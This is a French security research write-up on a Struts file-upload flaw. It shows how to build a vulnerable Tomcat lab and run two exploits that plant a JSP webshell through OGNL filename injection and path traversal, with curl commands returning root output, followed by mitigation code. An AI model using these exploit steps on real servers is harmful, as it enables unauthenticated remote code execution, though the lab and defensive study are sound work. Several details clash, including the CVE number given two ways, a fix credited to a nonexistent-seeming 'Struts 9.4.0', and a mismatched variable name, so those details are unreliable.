
Recherche d'options d'exploitation pour CVE-2024-53667 et leur remédiation
La faille réside dans la manière dont le FileUploadInterceptor de Struts transmet le nom de fichier téléversé à la classe d'action.
Normalement, l'intercepteur assainit le nom de fichier, mais Struts permet également à tout paramètre multipart d'être
traité comme une expression OGNL par le ParametersInterceptor. L'envoi de top.UploadFileName
(ou uploadFileName[0] pour les actions multi-fichiers) comme champ de formulaire appelle directement
action.setUploadFileName(value) via OGNL, remplaçant ce que l'intercepteur avait défini.
L'action écrit ensuite le fichier sans assainissement du chemin :
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
L'envoi de ../shell.jsp comme nom de fichier donne :
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
Téléverser un webshell JSP à cet emplacement permet une exécution de code à distance (RCE) sans authentification.
Deux exploits sont étudiés concernant cette vulnérabilité :
Le serveur d'application Lab Tomcat, utilisé comme cible pour les deux exploits, est tiré du premier dépôt et s'exécute dans un conteneur (docker ou podman).
Un autre exploit est fourni dans ce dépôt sous forme de version Java de poc.py, qui
provient de la deuxième source.
La différence subtile entre les deux exploits est présentée dans le tableau comparatif côte à côte à la fin de ce document.
Les deux exploits ont été confirmés comme fonctionnant sur Struts 6.3.0.2.
Cependant, lorsque nous avons mis à niveau Struts vers 6.8.0 ou 6.9.0, le premier exploit
(CVE-2024-53677.py) a cessé de fonctionner — en raison du correctif dans Struts 9.4.0.
Le deuxième exploit (StrutsExploitRunner) fonctionne sur toutes les versions 6.3.0.2, 6.8.0,
6.9.0, sauf si le code applicatif exploitable est mis à jour comme recommandé
ci-dessous dans la section Atténuations.
Voir les détails techniques de l'étude ci-dessous.
Clonez le premier dépôt et placez-vous dans son répertoire racine :
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Vous aurez besoin de docker (à l'origine) ou de podman (utilisé dans notre recherche) pour construire et exécuter le Lab Tomcat vulnérable :
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Exécutez les scripts d'exploit comme décrit ci-dessous dans un shell séparé, depuis le répertoire racine du dépôt, avec l'environnement virtuel Python activé.
Téléverse un webshell JSP vers /upload.action en utilisant top.UploadFileName pour injecter un nom de fichier
avec traversée de chemin. Le webshell codé en dur accepte des commandes via ?action=cmd&cmd=<command>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p est la valeur transmise comme top.UploadFileName. Un seul ../ suffit pour sortir du répertoire uploads/
et placer le fichier à la racine web.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Notez le paramètre obligatoire action=cmd — le webshell codé en dur le vérifie avant d'exécuter
la commande. Sans lui, vous obtenez Unknown action. au lieu d'une sortie.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Cible /uploads.action (la variante multi-fichiers) et définit uploadFileName[0] via OGNL à une
valeur de traversée de chemin. Même contournement sous-jacent, nom de paramètre et classe d'action différents.
Vous aurez besoin de JDK 17 ou plus pour construire et exécuter l'exploit (le binaire java doit être dans votre PATH).
Exécutez la commande suivante à la racine de ce dépôt pour construire l'uber-jar exécutable :
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames fixe le nom de fichier afin que vous sachiez où le récupérer. Sans cette option, le script génère
des noms aléatoires qui sont affichés dans la sortie.
Le webshell téléversé par cette application utilise l'interface plus simple ?cmd= :
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Le correctif canonique consiste à mettre à niveau vers Struts 7.x, qui a entièrement retravaillé le mécanisme de téléversement de fichiers. Si cette mise à niveau est bloquée (compatibilité JDK 8, contraintes de dépendances tierces), l'atténuation ci-dessous peut être appliquée.
C'est le correctif le plus robuste car il fonctionne indépendamment de ce que transmet un intercepteur. Retirez tous les composants de chemin du nom de fichier avant de construire le chemin de destination, puis vérifiez que le chemin résolu se trouve toujours dans le répertoire prévu.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName() renvoie shell.jsp, donc même si top.UploadFileName
fournit une chaîne de traversée, celle-ci est réduite à un simple nom de fichier avant toute opération d'E/S.
Le même schéma s'applique à UploadsAction — appliquez-le dans la boucle for sur chaque
uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| Endpoint | /upload.action | /uploads.action |
| Paramètre OGNL | top.UploadFileName | uploadFileName[0] |
| Classe d'action | UploadAction (single file) | UploadsAction (multi-file) |
| Appel du webshell | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Bug du chemin par défaut | aucun | la valeur par défaut de --paths est trop profonde, remplacez-la par .. |